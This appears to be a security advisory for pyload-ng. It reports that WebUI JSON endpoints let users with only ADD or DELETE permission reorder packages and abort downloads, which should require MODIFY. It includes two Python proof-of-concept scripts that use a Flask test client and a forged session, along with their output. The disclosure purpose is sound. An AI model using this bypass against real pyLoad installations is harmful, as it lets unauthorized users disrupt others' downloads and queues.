pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:
- ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
- DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:
- order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
- order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
- stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:
- /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
- /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
- /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with MODIFY:
- /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
- /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:
- Repository version: 0.5.0b3 (VERSION file)
- Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.

Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
- Availability impact: unauthorized abort of active downloads by users lacking MODIFY.